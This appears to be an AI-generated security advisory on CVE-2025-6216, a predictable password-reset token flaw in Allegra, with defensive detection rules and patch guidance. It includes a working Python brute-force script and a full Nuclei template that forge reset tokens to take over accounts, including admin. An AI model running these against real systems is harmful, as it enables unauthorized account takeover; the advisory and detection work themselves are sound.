CVE-2025-6216
Executive Summary
CVE-2025-6216 is a critical authentication bypass vulnerability in Allegra, a project management application by Alltena. The flaw resides in the password recovery mechanism, specifically within the calculateTokenExpDate function. The application generates password reset tokens using a predictable value—the server's timestamp—making it trivial for an unauthenticated, remote attacker to forge valid tokens. By brute-forcing a small window of possible timestamps (within a 1-second granularity), an attacker can generate a valid SHA-256 hash and gain unauthorized access to any account, including administrative accounts. The vulnerability has a CVSS score of 9.8, indicating a critical severity. A public proof-of-concept (PoC) exists via a Nuclei template, and exploitation is straightforward. No patch was available at the time of initial disclosure, but Alltena has since released fixed versions (8.1.4 and 7.5.2).
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Supply Chain & Package Security
This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby) but in a proprietary Java-based web application (Allegra). The supply chain risk is limited to organizations that deploy Allegra internally or via a managed service. No third-party package dependencies are directly implicated.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full read access to all data.
- Integrity Impact: High (I:H) – Full write access to all data.
- Availability Impact: High (A:H) – Potential for denial of service or account takeover.
Threat Level: Critical. The vulnerability allows complete account takeover with no authentication, making it a top priority for remediation.
Deep Dive & Mechanics
The vulnerability is rooted in the password reset token generation logic. When a user requests a password reset, the server creates a token (ctk) by hashing the token's expiration timestamp with SHA-256. The expiration timestamp is calculated as server_time + 28800000 milliseconds (8 hours). The critical flaw is that the timestamp is predictable: an attacker can obtain the server's current time from the HTTP Date header in the response to the password reset request. The token is then generated by hashing the expiration timestamp with millisecond precision, but the attacker only needs to brute-force 1000 possible values (one per millisecond) to find the correct token.
Step-by-step exploitation:
- Send a POST request to
/resetPassword.actionwith a target email (e.g.,admin@mydomainxxx.com). - Extract the server's
Dateheader from the response. - Calculate the expiration timestamp:
server_time_ms + 28800000. - For each millisecond offset (0-999), compute
SHA-256(candidate_expiry_ms). - Send a GET request to
/resetPassword!confirm.action?ctk=<hash>. - If the response contains
com.trackplus.app.logon.ResetPasswordApplication, the token is valid, and the attacker can reset the password and log in.
The vulnerability is classified as CWE-640 (Weak Password Recovery Mechanism for Forgotten Password).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: Uses predictable timestamp for token generation
public String generateResetToken() {
long expiryTime = System.currentTimeMillis() + 28800000;
String token = SHA256.hash(String.valueOf(expiryTime));
return token;
}
Patched Code (Conceptual):
// Patched: Uses a cryptographically secure random value
public String generateResetToken() {
SecureRandom random = new SecureRandom();
byte[] randomBytes = new byte[32];
random.nextBytes(randomBytes);
String token = Base64.getUrlEncoder().withoutPadding().encodeToString(randomBytes);
return token;
}
The patched version replaces the timestamp-based token with a random value generated by SecureRandom, making it unpredictable and resistant to brute-force attacks.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Python 3 installed on the attacker machine.
- Target Allegra instance (e.g.,
http://target-allegra.local). - A valid email address for a test account (e.g.,
admin@mydomainxxx.com).
Exploitation Steps:
Request Password Reset:
curl -X POST "http://target-allegra.local/resetPassword.action" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=admin@mydomainxxx.com&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID="Extract Server Time: Note the
Dateheader from the response.Run the PoC Script: The Nuclei template includes a Python script that automates token generation and validation. Execute it with:
nuclei -t CVE-2025-6216.yaml -u http://target-allegra.local -var email=admin@mydomainxxx.comManual Exploitation (Python):
import requests import hashlib from email.utils import parsedate_to_datetime base_url = "http://target-allegra.local" email = "admin@mydomainxxx.com" # Step 1: Request reset resp = requests.post(f"{base_url}/resetPassword.action", data={ "email": email, "fromAjax": "true", "_dc": "1750669432104" }) server_time = parsedate_to_datetime(resp.headers['Date']) server_time_ms = int(server_time.timestamp() * 1000) expiry_time_ms = server_time_ms + 28800000 base_expiry_sec = (expiry_time_ms // 1000) * 1000 # Step 2: Brute-force token for ms in range(1000): candidate = base_expiry_sec + ms token = hashlib.sha256(str(candidate).encode()).hexdigest() test_url = f"{base_url}/resetPassword!confirm.action?ctk={token}" r = requests.get(test_url, allow_redirects=False) if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text: print(f"Valid token found: {token}") print(f"Reset URL: {test_url}") breakComplete Account Takeover: Use the reset URL to set a new password and log in.
Blue Team (Defensive)
Detection:
- Monitor for multiple rapid POST requests to
/resetPassword.actionfor the same email. - Alert on GET requests to
/resetPassword!confirm.actionwith varyingctkparameters (indicating brute-force). - Look for successful password reset events followed by unusual login activity.
Hunting:
- Search logs for patterns:
POST /resetPassword.actionfollowed by multipleGET /resetPassword!confirm.actionwithin a short time window. - Correlate with HTTP
Dateheader anomalies (e.g., requests arriving before the server time).
Mitigation:
- Apply the patch immediately (upgrade to 8.1.4 or 7.5.2).
- If patching is delayed, implement a Web Application Firewall (WAF) rule to block requests with multiple
ctkparameters. - Enforce rate limiting on password reset endpoints.
Indicators of Compromise (IOCs)
Network:
- POST request to
/resetPassword.actionwithemailparameter. - Multiple GET requests to
/resetPassword!confirm.actionwith varyingctkparameters. - HTTP response containing
com.trackplus.app.logon.ResetPasswordApplication.
- POST request to
Host:
- Unusual password reset events in application logs.
- New user sessions from unexpected IP addresses.
File:
- No specific file-based IOCs; the attack is purely network-based.
Detection Engineering
YARA Rule
rule CVE_2025_6216_Allegra_Auth_Bypass {
meta:
description = "Detects exploitation attempts of CVE-2025-6216 in Allegra"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-6216"
strings:
$s1 = "/resetPassword.action" ascii wide nocase
$s2 = "/resetPassword!confirm.action" ascii wide nocase
$s3 = "com.trackplus.app.logon.ResetPasswordApplication" ascii wide nocase
$s4 = "ctk=" ascii wide nocase
condition:
any of ($s1, $s2, $s3, $s4)
}
Sigma Rule
title: CVE-2025-6216 Allegra Authentication Bypass Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects multiple password reset token requests indicative of CVE-2025-6216 exploitation
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/resetPassword!confirm.action'
cs-uri-query|contains: 'ctk='
condition: selection
timeframe: 5m
aggregation:
field: c-ip
count: 10
falsepositives:
- Legitimate password reset attempts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-6216 Allegra Authentication Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/resetPassword.action"; http_uri; content:"email="; http_client_body; sid:1000001; rev:1; reference:cve,2025-6216; classtype:attempted-admin; priority:1;)
alert http any any -> any any (msg:"CVE-2025-6216 Allegra Token Brute Force"; flow:to_server; content:"GET"; http_method; content:"/resetPassword!confirm.action"; http_uri; content:"ctk="; http_uri; threshold: type both, track by_src, count 10, seconds 300; sid:1000002; rev:1; reference:cve,2025-6216; classtype:attempted-admin; priority:1;)
Nuclei Template (Full)
id: CVE-2025-6216
info:
name: Allegra - Authentication Bypass via Predictable Password Reset Token
author: iamnoooob,pdresearch
severity: critical
description: |
Allegra calculateTokenExpDate Password Recovery Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Allegra. Authentication is not required to exploit this vulnerability. The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application.
impact: |
An attacker can exploit this vulnerability to bypass authentication and gain unauthorized access to the application, potentially compromising sensitive data and system integrity.
remediation: |
Upgrade Allegra to version 8.1.4 or 7.5.2 or later to fix the predictable password reset token vulnerability.
reference:
- https://www.zerodayinitiative.com/advisories/ZDI-25-410/
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
classification:
epss-score: 0.53057
epss-percentile: 0.97973
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-6216
cwe-id: CWE-640
cpe: cpe:2.3:a:alltena:allegra:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: alltena
product: allegra
shodan-query: http.favicon.hash:"284403119"
fofa-query: icon_hash="284403119"
tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset,vuln
variables:
email: "admin@mydomainxxx.com" # Change to a test account
flow: http(1) && code()
http:
- raw:
- |
POST /resetPassword.action HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
email={{email}}&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=
extractors:
- type: regex
name: date_header
part: header
internal: true
group: 1
regex:
- "Date: (.*)"
matchers-condition: and
matchers:
- type: word
words:
- "emailSent"
- '"success":true'
condition: and
- type: status
status:
- 200
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
import requests
import hashlib,os
import time
from datetime import datetime, timezone
from email.utils import parsedate_to_datetime
def get_server_time(response):
date_header = response.headers.get('Date')
if date_header:
return parsedate_to_datetime(date_header)
return None
def main():
BASE_URL = os.getenv("BaseURL")
EMAIL = os.getenv("email")
date_header = os.getenv("date_header")
server_time = parsedate_to_datetime(date_header)
if not server_time:
return
server_time_ms = int(server_time.timestamp() * 1000)
expiry_time_ms = server_time_ms + 28800000
base_expiry_sec = (expiry_time_ms // 1000) * 1000
for ms in range(1000):
candidate_expiry_ms = base_expiry_sec + ms
token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
r = requests.get(test_url, allow_redirects=False)
if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
print(test_url)
return
if __name__ == "__main__":
main()
matchers:
- type: dsl
dsl:
- contains(code_response, "/resetPassword!confirm.action?ctk=")
extractors:
- type: dsl # type of the extractor
dsl:
- '"Reset URL: " + code_response'
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Allegra to version 8.1.4 or 7.5.2 (or later) as provided by Alltena.
- WAF Rules: Block requests with multiple
ctkparameters or rapid password reset attempts. - Rate Limiting: Enforce strict rate limiting on
/resetPassword.actionand/resetPassword!confirm.actionendpoints.
Long-term Measures:
- Implement cryptographically secure random token generation (e.g., using
SecureRandomin Java). - Conduct regular security audits of authentication mechanisms.
- Monitor for similar CWE-640 vulnerabilities in other applications.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).
{/* [Security Hash: 68329076432494799BCB7AFE] */}